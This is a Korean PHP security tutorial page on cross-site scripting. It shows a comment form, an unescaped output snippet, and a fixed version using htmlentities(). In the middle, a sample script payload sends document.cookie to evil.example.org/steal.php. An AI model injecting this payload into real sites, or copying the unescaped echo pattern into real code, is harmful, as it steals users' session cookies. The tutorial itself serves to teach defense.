>백엔드 개발 >PHP 튜토리얼 >PHP 보안 크로스 사이트 스크립팅 공격

PHP 보안 크로스 사이트 스크립팅 공격

黄舟
黄舟원래의
2017-02-22 09:23:262149검색



크로스 사이트 스크립팅 공격

크로스 사이트 스크립팅 공격은 잘 알려진 공격 방법 1. 모든 플랫폼의 웹 애플리케이션은 이 문제로 인해 어려움을 겪고 있으며 PHP 애플리케이션도 예외는 아닙니다.

입력이 있는 모든 애플리케이션이 위험합니다. 웹메일, 포럼, 방명록, 심지어 블로그까지. 실제로 대부분의 웹 애플리케이션은 더 많은 사람들을 끌어들이기 위한 목적으로 입력을 제공하지만 동시에 이는 스스로를 위험에 빠뜨리기도 합니다. 교차 사이트 스크립팅 취약점은 입력이 제대로 삭제되지 않고 이스케이프되지 않을 때 발생합니다.

각 페이지에 댓글을 입력할 수 있는 애플리케이션을 예로 들어 보겠습니다. 이 애플리케이션은 사용자가 제출할 수 있도록 다음 양식을 사용합니다.

코드:

<form action="comment.php" method="POST"
/>
  <p>Name: <input type="text" name="name"
/><br />
  Comment: <textarea name="comment" rows="10"
cols="60"></textarea><br />
  <input type="submit" value="Add Comment"
/></p>
  </form>


프로그램은 방문하는 다른 사용자에게 알립니다. 이 페이지 댓글을 표시하세요. 예를 들어 다음과 같은 코드 조각을 사용하여 주석($comment)과 해당 작성자($name)를 출력할 수 있습니다.

CODE:

<?php
 
  echo "<p>$name writes:<br />";
  echo
"<blockquote>$comment</blockquote></p>";
 
  ?>


이 프로세스는 $comment 및 $name의 가치에 대한 완전한 신뢰를 제공합니다. 그 중 하나의 콘텐츠에 다음 코드가 포함되어 있습니다.

CODE:

<script>
  document.location =
    &#39;http://evil.example.org/steal.php?cookies=&#39;
+
    document.cookie
  </script>


귀하의 사용자가 이 댓글을 보는 것은 다른 사람이 귀하의 웹사이트 소스 코드에 Javascript 코드를 추가하도록 허용하는 것과 같습니다. 사용자는 자신도 모르게 자신의 쿠키를 evil.example.org로 보내고 수신 프로그램(steal.php)은 $_GET['cookies'] 변수를 통해 모든 쿠키에 액세스할 수 있습니다.

이는 주로 나쁜 프로그래밍 습관으로 인해 발생하는 일반적인 실수입니다. 다행히도 그러한 실수는 피하기 쉽습니다. 이 위험은 오염된 데이터를 출력할 때만 발생하므로 1장

에 설명된 대로 입력을 필터링하고 출력을 이스케이프해야 합니다. 최소한 htmlentities( ) 클라이언트에 출력하려는 ​​데이터를 이스케이프합니다. 이 기능은 모든 특수 문자를 HTML 표현으로 변환할 수 있습니다. 브라우저가 특별한 처리를 수행하게 하는 모든 문자가 변환된 후에는 원래 입력된 내용이 표시되는지 확인할 수 있습니다.

따라서 주석을 표시하려면 다음 코드를 사용하는 것이 더 안전합니다.

CODE:

<?php
 
  $clean = array();
  $html = array();
 
  /* Filter Input ($name, $comment) */
 
  $html[&#39;name&#39;] = htmlentities($clean[&#39;name&#39;],
ENT_QUOTES, &#39;UTF-8&#39;);
  $html[&#39;comment&#39;] = htmlentities($clean[&#39;comment&#39;],
ENT_QUOTES, &#39;UTF-8&#39;);
 
  echo "<p>{$html[&#39;name&#39;]} writes:<br
/>";
  echo
"<blockquote>{$html[&#39;comment&#39;]}</blockquote></p>";
 
  ?>

위는 PHP 보안 크로스 사이트 스크립팅 공격 내용입니다. 자세한 내용은 PHP를 참고해주세요. 중국사이트(www.php.cn)!


성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.